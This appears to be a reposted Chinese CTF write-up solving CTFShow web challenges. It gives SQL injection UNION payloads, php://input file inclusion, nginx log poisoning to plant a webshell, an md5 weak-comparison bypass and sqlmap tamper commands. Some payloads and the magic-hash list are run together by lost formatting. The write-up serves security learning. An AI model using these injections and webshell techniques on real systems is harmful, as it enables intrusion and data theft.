返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >CTFShow-Web篇详细wp(持续更新中ing)
  • 564
分享到

CTFShow-Web篇详细wp(持续更新中ing)

CTFShowWebSQL注入代码审计PHP 2023-10-02 10:10:31 564人浏览 薄情痞子
摘要

CTFShow-WEB篇详细wp web签到题web2web3web4web5web6web7web8 CTFShow 平台:https://ctf.show/ web签到题 直接F1

CTFShow-WEB篇详细wp

CTFShow 平台:https://ctf.show/

web签到题

直接F12然后Base64解码

在这里插入图片描述

ctfshow{19bdf375-f974-481e-8c62-0f4c3D170fb4}

web2

考点:联合查询

先尝试使用万能密码登入 ‘ or 1=1# 登入成功!!

在这里插入图片描述
在这里插入图片描述
’or 1=1 order by 3# 输入4没回显说明只有三个字段
在这里插入图片描述

在这里插入图片描述

' or 1=1 uNIOn select 1,database(),3#    爆破数据库为web2

' or 1=1 union select 1,(select table_name from infORMation_schema.tables where table_schema='web2' limit 0,1),3 #  爆破表web2

在这里插入图片描述

' or 1=1 union select 1,(select column_name from information_schema.columns where table_name='flag' limit 0,1),3#   爆字段

在这里插入图片描述

' or 1=1 union select 1,(select flag from flag limit 0,1),3#  查询内容

ctfshow{3e0dc92c-052f-4740-98f5-2ecdf8614a84}

web3

考点:伪协议

在这里插入图片描述
测试一下存在文件包含漏洞抓个包 使用PHP://input 得到了ctf_Go_go_go 直接读取即可。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

ctfshow{4dce862e-bd78-4ff2-b933-9798d391a276}

web4

考点:日志注入 文件包含

这里和上面一题差不多只是这么过滤了php://inpt 给的提示是日志注入 我们先来尝试一下:?url=/var/login/Nginx/access.log 成功!

在这里插入图片描述
在这里插入图片描述

ok我们继续抓个包看看尝试传个木马能不能getshell 尝试蚁剑连接ok连接成功!!

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

ctfshow{4873a70e-7d9d-456d-8eef-4a5a541c0e37}

web5

考点:代码审计(md5绕过)

where is flag?<?phperror_reporting(0);    ?><html lang="zh-CN"><head>    <meta Http-equiv="Content-Type" content="text/html; charset=UTF-8" />    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />    <title>ctf.show_web5</title></head><body>    <center>    <h2>ctf.show_web5</h2>    <hr>    <h3>    </center>    <?php        $flag="";        $v1=$_GET['v1'];        $v2=$_GET['v2'];        if(isset($v1) && isset($v2)){            if(!ctype_alpha($v1)){                die("v1 error");            }            if(!is_numeric($v2)){                die("v2 error");            }            if(md5($v1)==md5($v2)){                echo $flag;            }        }else{                    echo "where is flag?";        }    ?></body></html>

ctype_alpha用来检测是否只含有字符,不是则为false
is_numeric用于检测是否是纯数字

这里输入v1,v2的值,v1为字符,v2为数字 然后让他们的md5的值相等即可输出flag
这里是一个弱类型比较在PHP中0e会被当做科学计数法 前两位相等即可完成绕过

开头为0E(MD5值) 字母数字混合类型:s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904纯大写字母:QLTHNDT0e405967825401955372549139051580QNKCDZO0e830400451993494058024219903391EEIZDOI0e782601363539291779881938479162纯数字:2406107080e46209743190650901956298873685440116270630e48580568703443990593836270177547756350650e99821208994664096759945036116847905553610e64344221466099443013449246451254324535310e51231869908588163086189052609755796798200e87762201173022180346174018491555853935790e66435735538230580599276533702363765525010e16588670699748218787021557801571241299770e50000736104474780468212206087671975461970e91518857607246910145731567550276564861570e451569119711843337267091732412

Payload:?v1=EEIZDOI&v2=4011627063

在这里插入图片描述

ctfshow{0704b7e0-d2e9-461f-9967-e086e185402e}

web6

考点:sql注入(空格绕过)
又是这个熟悉的框 老样子尝试万能密码 发现报错!
在这里插入图片描述
在这里插入图片描述
SQL绕过知识点(第一次做,这里使用 )

web2一样继续使用联合查询注入替换即可。

1'unionselect1,2,3#  查询位置 在第二个字段

在这里插入图片描述

1'unionselect1,database(),3#  爆破库 web2数据库

在这里插入图片描述

1'unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema=database()#  爆破表

在这里插入图片描述

1'unionselect1,group_concat(column_name),3frominformation_schema.columnswheretable_name='flag'#  爆字段

在这里插入图片描述

1'unionselect1,flag,3fromflag#  查看flag内容

在这里插入图片描述

ctfshow{3e29853a-156e-483e-86c5-480c2aea5ddc}

web7

考点:盲注&sqlmap的使用
在这里插入图片描述
在这里插入图片描述
这里随便点了一下发现存在id=1 存在注入点 这里盲注不会 直接使用工具吧(我是菜鸡,没办法)

Sqlmap基础:

  • sqlmap -u "url" 结束以后会得到该⽹站的数据库、操作系统服务器等版本信息
  • sqlmap -u "url" --dbs 如果存在漏洞可以使用以下命令注出当前网站下所有数据库名
  • sqlmap -u "url" -D 数据库名 --tables 列出数据库下的所有表名
  • sqlmap -u "url" -D 数据库名 -T 表名 --columns 列出所有指定列数
  • sqlmap -u "url" -D 数据库名 -T 表名 -C 列名 --dump 读取字段下面得信息 比如flag等。
  • ​--batch​​命令可以自动跳过选择项,按默认选项注入就是帮你一直yes

Sqlmap进阶(脚本):

线程nmapT4一样的sqlmap有5级,越高检测越全,默认为 1

  • –level 1 检测Get和Post
  • –level 2 检测HTTP Cookie
  • –level 3检测User-Agent和Referer
  • –level 4 检测
  • –level 5 检测 HOST 头
  • --tamper脚本
  • -p TESTPARAMETER #指定需要测试的参数
  • --skip=SKIP #指定要跳过的参数
  • --dbms=DBMS #指定 DBMS 类型(例如:Mysql
  • --os=OS #指定 DBMS 服务器的操作系统类型
  • --prefix=PREFIX #注入 payload 的前缀字符串
  • --suffix=SUFFIX #注入 payload 的后缀字符串
  • --tamper=TAMPER #用给定脚本修改注入数据

🆗这里简单介绍了一下怎么使用 具体脚本大家可以自己百度搜一下 这里使用randomcomments模块 空格绕过

在这里插入图片描述

sqlmap -u "http://8b540425-2755-465b-a28d-d1ba3ca879bc.challenge.ctf.show/index.php?id=1" --tamper "space2comment" --batch --dbs  #列出库

在这里插入图片描述

sqlmap -u "http://8b540425-2755-465b-a28d-d1ba3ca879bc.challenge.ctf.show/index.php?id=1" --tamper "space2comment" --batch -D web7 --tables  #列出表

在这里插入图片描述

sqlmap -u "http://8b540425-2755-465b-a28d-d1ba3ca879bc.challenge.ctf.show/index.php?id=1" --tamper "space2comment" --batch -D web7 -T flag --columns  #列出字段

在这里插入图片描述

sqlmap -u "http://8b540425-2755-465b-a28d-d1ba3ca879bc.challenge.ctf.show/index.php?id=1" --tamper "space2comment" --batch -D web7 -T flag -C flag --dump#查询字段内容

在这里插入图片描述

ctfshow{f534b781-af47-4c46-9ece-3a905c11cd96}

web8

考点:布尔盲注
这里过滤了空格和逗号

来源地址:https://blog.csdn.net/Aluxian_/article/details/130318310

--结束END--

本文标题: CTFShow-Web篇详细wp(持续更新中ing)

本文链接: https://lsjlt.com/news/422608.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作